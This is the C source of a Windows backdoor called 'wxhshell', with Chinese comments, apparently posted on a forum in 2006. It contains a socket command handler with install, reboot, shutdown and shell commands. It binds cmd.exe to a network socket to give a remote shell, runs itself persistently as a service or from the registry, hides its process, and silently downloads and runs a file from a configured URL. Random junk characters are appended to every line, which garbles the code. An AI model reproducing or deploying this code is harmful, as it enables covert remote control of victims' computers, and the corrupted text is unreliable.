    switch(cmd[0]) { [.yx2@W  
  PrYWha=c-  
  // 帮助 bNPjefBF  
  case '?': { VIlQzM;%^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )jQe K  
    break; 4s+J-l  
  } / hj9Q!  
  // 安装 KE|u}M@v6  
  case 'i': { Z+pvdu  
    if(Install()) +cplM5X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L"zgBB?K6  
    else e]y=]}A3{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8G^B%h]  
    break; 5)zj){wL  
    } 5a/ A_..+I  
  // 卸载 WFc[F`b  
  case 'r': { }5c'ui!3H  
    if(Uninstall()) eVNBhR}HS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t1_y1!u Q  
    else nr9#3 Lb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = ,E(!Sp  
    break; _xZb;PbFE  
    } 0kr& c;~  
  // 显示 wxhshell 所在路径 -*{(#k$  
  case 'p': { y0y;1N'KK  
    char svExeFile[MAX_PATH]; @'| 6lG  
    strcpy(svExeFile,"\n\r"); E/Gs',Y  
      strcat(svExeFile,ExeFile); n<(5B|~y  
        send(wsh,svExeFile,strlen(svExeFile),0); Kd|l\k!  
    break; ;>x1)|n5  
    } J hq5G"  
  // 重启 /)OO)B-r  
  case 'b': { mDt",#g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QBT-J`Pz  
    if(Boot(REBOOT)) ?+JxQlVDt-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EO!cv,[a  
    else { Js2_&?}3f  
    closesocket(wsh); ~}9H<K3V  
    ExitThread(0); KV&_^xSoh|  
    } v lnUN  
    break; $;j6 *,H  
    } ,i((;/O6  
  // 关机 j*lWi0Z-  
  case 'd': { 0$dNrq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a\j\eMC  
    if(Boot(SHUTDOWN)) .6-o?=5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z&/ o  
    else { -<^Q2]PE;  
    closesocket(wsh); ve/6-J!5Y.  
    ExitThread(0); $ax%K?MBD  
    } )k<~}wvQ0  
    break; =+#RyV  
    } +OuG!3+w  
  // 获取shell \YF!< 2|[  
  case 's': { KKTfxNxJn  
    CmdShell(wsh); [tw<TV"\  
    closesocket(wsh); tf}Q%)`f  
    ExitThread(0); DB= cc  
    break; #3ro?w  
  } vT<wd#  
  // 退出 U=1`. Ove  
  case 'x': { Vy"^]5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !(AFT!  
    CloseIt(wsh); MvwJ(3  
    break; K OHH74}_  
    } s 17gi,"X  
  // 离开 1+ARV&bc  
  case 'q': { Dve5m=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I6 Q_A  
    closesocket(wsh); 745V!#3!M  
    WSACleanup(); @x>2|`65Y  
    exit(1); c15^<6]g  
    break; ialk6i![  
        } V \ 8 5  
  } %cif0Td  
  } 'cc4Y~0s  
+}Wo=R}  
  // 提示信息 yX Q;LQ;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nU#q@p)Xg  
} Qvg"5_26v  
  } [5d][1=  
5'[X&r %#  
  return; !oRm.c O  
} D`ge3f8Wi  
=ZL}Av}  
// shell模块句柄 DG FvRB  
int CmdShell(SOCKET sock) 7I3CPc$  
{ xE[tD? M{  
STARTUPINFO si; gQt@xNO  
ZeroMemory(&si,sizeof(si)); 1VsEic  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HWAqJb [  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oYM3$.{E  
PROCESS_INFORMATION ProcessInfo; fmN)~-DV9`  
char cmdline[]="cmd"; H%%nB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0cU^ue%  
  return 0; zt%Fvn4/pF  
} [gY__  
UR=s{nFd  
// 自身启动模式 x5Pt\/ow  
int StartFromService(void) S.4YC>E  
{ oeKc-[r  
typedef struct 6)YNjh.{ *  
{ <plR<iI.  
  DWORD ExitStatus; &;3z 1s/  
  DWORD PebBaseAddress; %dR./{txT  
  DWORD AffinityMask; wLSYzz  
  DWORD BasePriority; -$ft `Ih  
  ULONG UniqueProcessId; !/Ps}.)A`  
  ULONG InheritedFromUniqueProcessId; LX&P]{q KS  
}   PROCESS_BASIC_INFORMATION; ^$ bhmJYT  
9\0 K%LL  
PROCNTQSIP NtQueryInformationProcess; &fj?hYAj  
A^pp'{ !.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mwhn=y#]*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dz9-+C{m  
<TuSU[]  
  HANDLE             hProcess; ,p1]_D&  
  PROCESS_BASIC_INFORMATION pbi; ml 2z  
>Tx;<G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sYgnH:t X  
  if(NULL == hInst ) return 0; )5OU!c  
1dO8[5uM7a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4!qDG+m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qnRzs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EKD>c$T^  
?8m/]P/~  
  if (!NtQueryInformationProcess) return 0; 6p{x2>2y[  
[]Ea0jYu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8PS:yBkA|  
  if(!hProcess) return 0; O+J;Hp;\_  
![tI(TPq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v[ '5X  
JwczE9~o  
  CloseHandle(hProcess); ?@(H. D6'v  
DyZ90]N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %Q~Lk]B?t  
if(hProcess==NULL) return 0; ::`wx@  
0E[Se|!  
HMODULE hMod; va;wQ~&  
char procName[255]; qZ }XjL  
unsigned long cbNeeded; N|LVLsK  
.>&fwG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ".ZiR7Z:$Y  
uoHhp4>^  
  CloseHandle(hProcess); vsR ^aVwVZ  
LeCU"~  
if(strstr(procName,"services")) return 1; // 以服务启动 U:e9Vq'N m  
b2%[9) "I.  
  return 0; // 注册表启动 h`j gF  
} /XB1U[b  
0^z$COCv  
// 主模块 uy{KV"%"^g  
int StartWxhshell(LPSTR lpCmdLine) 1hG O*cq!  
{ BI]t}7  
  SOCKET wsl; WG{/I/bJ_  
BOOL val=TRUE; d`/{0:F  
  int port=0; 9@B+$~:}7  
  struct sockaddr_in door; 2[hl^f^%,  
OpE+e4~IF  
  if(wscfg.ws_autoins) Install(); T5;D0tM/  
m`"s$\fah  
port=atoi(lpCmdLine); KA#-X2U/  
iH=@``Z  
if(port<=0) port=wscfg.ws_port; -;*Z!|e9  
Mw. +0R!T  
  WSADATA data; w%\;|y4+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w>s  
IWgC6)n@n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^S|^1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tPHiz%  
  door.sin_family = AF_INET; '*; rm*n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~s_$a8  
  door.sin_port = htons(port); Y<XDR:]A,  
|9 3%,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wP9C\W;  
closesocket(wsl); '3VrHL@@g  
return 1; 9E+lriyY  
} uzsN#'7=  
Gov{jksr  
  if(listen(wsl,2) == INVALID_SOCKET) { B!v1 gh  
closesocket(wsl); \m!."~%  
return 1; 6dUP's_  
} urB.K<5ZA  
  Wxhshell(wsl); zZHsS$/  
  WSACleanup(); j@2 hI,+  
FzIA>njt  
return 0; &Te:l-x  
Y# #J  
} ?`>yl4  
8Bvjj|~ (@  
// 以NT服务方式启动 s@|?N+z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q~kwUZ  
{ %XeU4yg\e  
DWORD   status = 0; .YkKIei  
  DWORD   specificError = 0xfffffff; >Z%^|S9  
:xV&%Qa1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4 #N#[;M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /a_|oCeC}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SccU @3.X~  
  serviceStatus.dwWin32ExitCode     = 0; ?*;zS%93U9  
  serviceStatus.dwServiceSpecificExitCode = 0; AVjtK  
  serviceStatus.dwCheckPoint       = 0; o v~m?Y]h  
  serviceStatus.dwWaitHint       = 0; ~0NZx8qG   
')+EW" e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #C`!yU6(  
  if (hServiceStatusHandle==0) return; n_<]9  
ORoraEK  
status = GetLastError(); 5a/)|  
  if (status!=NO_ERROR) h(sD]N  
{ cPXvT Vvs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iR-O6*PTC  
    serviceStatus.dwCheckPoint       = 0; slx^" BF^  
    serviceStatus.dwWaitHint       = 0; u=[oo @Rk`  
    serviceStatus.dwWin32ExitCode     = status; DiX4wmQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; $4"OD"Z Cq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .H&;pOf  
    return; %WNy=V9txp  
  } oKac~}_KL  
^cNP ?7g7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c2nZd.SD|  
  serviceStatus.dwCheckPoint       = 0; >X F@=J p  
  serviceStatus.dwWaitHint       = 0; LHz{*`22q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |&JL6hN  
} L0Cf@~k  
/iK )tl|X  
// 处理NT服务事件,比如:启动、停止 uP$K{ )  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b<8h\fR#'  
{ = 7?'S#  
switch(fdwControl) m8?(.BJ%  
{ pV!(#45~W  
case SERVICE_CONTROL_STOP: 8yo9$~u;  
  serviceStatus.dwWin32ExitCode = 0; $ ]HIYYs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Du/s  
  serviceStatus.dwCheckPoint   = 0;  0c{N)  
  serviceStatus.dwWaitHint     = 0; Km?i{TW  
  { ICi- iX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DF~w20+  
  } NXx}KF c  
  return; +Il=gL1  
case SERVICE_CONTROL_PAUSE: (Gc5l MiX3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5?O"N  
  break; =pNkS1ey  
case SERVICE_CONTROL_CONTINUE: F8/@/B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `y\:3bQ4  
  break; 4u&doSXR  
case SERVICE_CONTROL_INTERROGATE: ,-b9:]{L  
  break; "`S61m_  
}; bk<3oI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c(jA"K[|b  
} A9#2.5  
t*x;{{jL#(  
// 标准应用程序主函数 %(E6ADB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +[F8>9o&  
{ .28*vkH%C=  
QWoEo  
// 获取操作系统版本 L*Y}pO  
OsIsNt=GetOsVer(); =[WccF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gUMUh] j  
_,}Ye,(^=  
  // 从命令行安装 _i 8oWy1  
  if(strpbrk(lpCmdLine,"iI")) Install(); \rJk[Kec  
ZjcJYtD  
  // 下载执行文件 s)V^_@Z 9  
if(wscfg.ws_downexe) { q=bXHtU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *8N~ Zmz  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ov9.qNT  
} NF.SGga  
l^_X?L@  
if(!OsIsNt) { g41LpplX  
// 如果时win9x,隐藏进程并且设置为注册表启动 f,1rmX1  
HideProc(); 5Z:HCp-aG  
StartWxhshell(lpCmdLine); >|s=l`"Xz  
} j@DyWm/7  
else @sDd:> t  
  if(StartFromService()) jK{MU) D+  
  // 以服务方式启动 @dXf_2Tv=  
  StartServiceCtrlDispatcher(DispatchTable); wFvilF V  
else  84{<]y  
  // 普通方式启动 N 8OPeY  
  StartWxhshell(lpCmdLine); __9673y  
8,R]R=  
return 0; *w _j;  
}
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只看该作者 1 发表于: 2006-10-10
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